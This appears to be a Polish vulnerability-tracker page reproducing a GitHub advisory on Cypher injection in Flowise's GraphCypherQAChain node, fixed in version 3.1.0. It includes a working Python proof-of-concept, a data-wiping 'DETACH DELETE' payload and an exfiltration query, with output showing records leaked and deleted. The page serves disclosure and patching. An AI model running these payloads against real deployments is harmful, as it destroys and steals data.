Wysoka

Flowise: Cypher Injection in GraphCypherQAChain

  • Ujawniono: 16.04.2026
  • Aktualizacja: 11.10.2026 10:22

Summary

The GraphCypherQAChain node forwards user-provided input directly into the Cypher query execution pipeline without proper sanitization. An attacker can inject arbitrary Cypher commands that are executed on the underlying Neo4j database, enabling data exfiltration, modification, or deletion.

Vulnerability Details

Field Value
Affected File packages/components/nodes/chains/GraphCypherQAChain/GraphCypherQAChain.ts
Affected Lines 193-219 (run method)

Prerequisites

To exploit this vulnerability, the following conditions must be met:

  1. Neo4j Database: A Neo4j instance must be connected to the Flowise server
  2. Vulnerable Chatflow Configuration:
    • A chatflow containing the Graph Cypher QA Chain node
    • Connected to a Chat Model (e.g., ChatOpenAI)
    • Connected to a Neo4j Graph node with valid credentials
  3. API Access: Access to the chatflow's prediction endpoint (/api/v1/prediction/{flowId})
<img width="1627" height="1202" alt="vulnerability-diagram-prerequisites" src="https://github.com/user-attachments/assets/8069e7df-799c-40cc-908a-ab7587b621d0" />

Root Cause

In GraphCypherQAChain.ts, the run method passes user input directly to the chain without sanitization:

ts
async run(nodeData: INodeData, input: string, options: ICommonObject): Promise<string | object> {
    const chain = nodeData.instance as GraphCypherQAChain
    // ...
    
    const obj = {
        query: input  // User input passed directly
    }
    
    // ...
    response = await chain.invoke(obj, { callbacks })  // Executed without escaping
}

Impact

An attacker with access to a vulnerable chatflow can:

  1. Data Exfiltration: Read all data from the Neo4j database including sensitive fields
  2. Data Modification: Create, update, or delete nodes and relationships
  3. Data Destruction: Execute DETACH DELETE to wipe entire database
  4. Schema Discovery: Enumerate database structure, labels, and properties

Proof of Concept

poc.py

python
#!/usr/bin/env python3
"""
POC: Cypher injection in GraphCypherQAChain (CWE-943)

Usage:
  python poc.py --target http://localhost:3000 --flow-id <FLOW_ID> --token <API_KEY>
"""

import argparse
import json
import urllib.request
import urllib.error

def post_json(url, data, headers):
    req = urllib.request.Request(
        url,
        data=json.dumps(data).encode("utf-8"),
        headers={**headers, "Content-Type": "application/json"},
        method="POST",
    )
    with urllib.request.urlopen(req, timeout=15) as resp:
        return resp.status, resp.read().decode("utf-8", errors="replace")

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--target", required=True, help="Base URL, e.g. http://host:3000")
    ap.add_argument("--flow-id", required=True, help="Chatflow ID with GraphCypherQAChain")
    ap.add_argument("--token", help="Bearer token / API key if required")
    ap.add_argument(
        "--injection",
        default="MATCH (n) RETURN n",
        help="Cypher payload to inject",
    )
    args = ap.parse_args()

    payload = {
        "question": args.injection,
        "overrideConfig": {},
    }

    headers = {}
    if args.token:
        headers["Authorization"] = f"Bearer {args.token}"

    url = args.target.rstrip("/") + f"/api/v1/prediction/{args.flow_id}"

    try:
        status, body = post_json(url, payload, headers)
        print(body if body else f"(empty response, HTTP {status})")
    except urllib.error.HTTPError as e:
        print(e.read().decode("utf-8", errors="replace"))
    except Exception as e:
        print(f"Error: {e}")

if __name__ == "__main__":
    main()

Test Environment Setup

1. Start Neo4j with Docker:

bash
docker run -d \
  --name neo4j-test \
  -p 7474:7474 \
  -p 7687:7687 \
  -e NEO4J_AUTH=neo4j/testpassword123 \
  neo4j:latest

2. Create test data (in Neo4j Browser at http://localhost:7474):

cypher
CREATE (a:Person {name: 'Alice', secret: 'SSN-123-45-6789'})
CREATE (b:Person {name: 'Bob', secret: 'SSN-987-65-4321'})
CREATE (a)-[:KNOWS]->(b)

3. Configure Flowise chatflow (see screenshot)

Exploitation Steps

bash
# Data destruction (DANGEROUS)
python poc.py --target http://127.0.0.1:3000 \
  --flow-id <FLOW_ID> --token <API_KEY> \
  --injection "MATCH (n) DETACH DELETE n"

Evidence

Cypher injection reaching Neo4j directly:

bash
$ python poc.py --target http://127.0.0.1:3000 --flow-id bbb330a5-... --token ...
{"text":"Error: All sub queries in an UNION must have the same return column names (line 2, column 16 (offset: 22))\n\"RETURN 1 as ok UNION CALL db.labels() YIELD label RETURN label LIMIT 5\"\n                ^",...}

The error message comes from Neo4j, proving the injected Cypher is executed directly.

Data destruction confirmed:

bash
$ python poc.py ... --injection "MATCH (n) DETACH DELETE n"
{"json":[],...}

Empty result indicates all nodes were deleted.

Sensitive data exfiltration:

bash
$ python poc.py ... --injection "MATCH (n) RETURN n"
{"json":[{"n":{"name":"Alice","secret":"SSN-123-45-6789"}},{"n":{"name":"Bob","secret":"SSN-987-65-4321"}}],...}

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Paczka npm flowise < 3.1.0 3.1.0
Paczka npm flowise-components < 3.1.0 3.1.0

Odnośniki

Ocena CVSS -
Wektor CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Słabość (CWE)
CWE-943
Platforma
npm
Paczka
flowise, flowise-components
Ujawniono
16.04.2026
Aktualizacja
11.10.2026 10:22

Źródła i licencje

OSV / GitHub Advisory Database - GHSA-28g4-38q8-3cwc - CC BY 4.0

Historia podatności: flowise

Wszystkie opisane podatności tej paczki (Paczka npm), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (114) w archiwum
Wszystkich wpisów
114
Pierwsza → ostatnia
04.2024 10.2026
Bez poprawki
16
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 28
  • Wysoka 62
  • Średnia 24

Ujawnienia w latach

  1. 2024: 11
  2. 2025: 22
  3. 2026: 81
Istotność:
  1. Wysoka CVE-2026-70474 < 3.1.3 3.1.3
  2. Krytyczna CVE-2026-69259 < 3.1.3 3.1.3
  3. Krytyczna CVE-2026-69256 < 3.1.3 3.1.3
  4. Krytyczna CVE-2026-69253 < 3.1.3 3.1.3
  5. Krytyczna CVE-2026-69251 < 3.1.3 3.1.3
  6. Wysoka · 8.8 CVE-2026-46444 < 3.1.2 3.1.2
  7. Wysoka CVE-2026-46443 < 3.1.2 3.1.2
  8. Wysoka CVE-2026-56274 < 3.1.2 3.1.2
  9. Wysoka · 7.5 CVE-2026-46440 < 3.1.2 3.1.2
  10. Krytyczna · 9.8 CVE-2026-41264 < 3.1.0 3.1.0
  11. Wysoka · 9.8 CVE-2026-41276 < 3.1.0 3.1.0
  12. Flowise: Cypher Injection in GraphCypherQAChain ten wpis
    Wysoka CVE-2026-41274 < 3.1.0 3.1.0
  13. Wysoka · 7.5 CVE-2026-41275 < 3.1.0 3.1.0
  14. Wysoka · 7.1 CVE-2026-41271 < 3.1.0 3.1.0
  15. Wysoka · 7.1 CVE-2026-41272 < 3.1.0 3.1.0
  16. Wysoka · 7.1 CVE-2026-41269 < 3.1.0 3.1.0
  17. Wysoka · 7.7 CVE-2026-41268 < 3.1.0 3.1.0
  18. Wysoka · 7.5 CVE-2026-41266 < 3.1.0 3.1.0
  19. Krytyczna · 8.8 CVE-2026-41137 < 3.1.0 3.1.0
  20. Krytyczna · 9.9 CVE-2026-40933 < 3.1.0 3.1.0
  21. Wysoka CVE-2026-30824 < 3.0.13 3.0.13
  22. Wysoka · 7.7 CVE-2026-30822 < 3.0.13 3.0.13
  23. Wysoka CVE-2026-30821 < 3.0.13 3.0.13
  24. Wysoka · 8.1 CVE-2025-71335 < 3.0.10 3.0.10
  25. Wysoka · 7.7 ghsa-j44m-5v8f-gc9c < 3.0.8 3.0.8
  26. Krytyczna · 9.9 CVE-2025-61913 < 3.0.8, < 3.0.8 3.0.8
  27. Wysoka · 8.3 CVE-2025-61687 >= 3.0.7, < 3.0.8 3.0.8
  28. Krytyczna · 9.8 CVE-2025-55346 <= 2.2.7-patch.1 brak poprawki
  29. Wysoka CVE-2025-71336 >= 2.2.7-patch.1, < 3.0.6 3.0.6
  30. Krytyczna · 9.8 CVE-2025-71334 >= 2.2.8, < 3.0.6 3.0.6
  31. Krytyczna · 9.1 CVE-2025-71324 >= 3.0.5, < 3.0.6 3.0.6
  32. Krytyczna · 10.0 CVE-2025-59528 >= 3.0.5, < 3.0.6 3.0.6
  33. Wysoka · 7.5 CVE-2025-59527 >= 3.0.5, < 3.0.6 3.0.6
  34. Krytyczna · 9.1 CVE-2025-57164 >= 3.0.5, < 3.0.6 3.0.6
Pokaż więcej (10) Widać 80 z 90

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.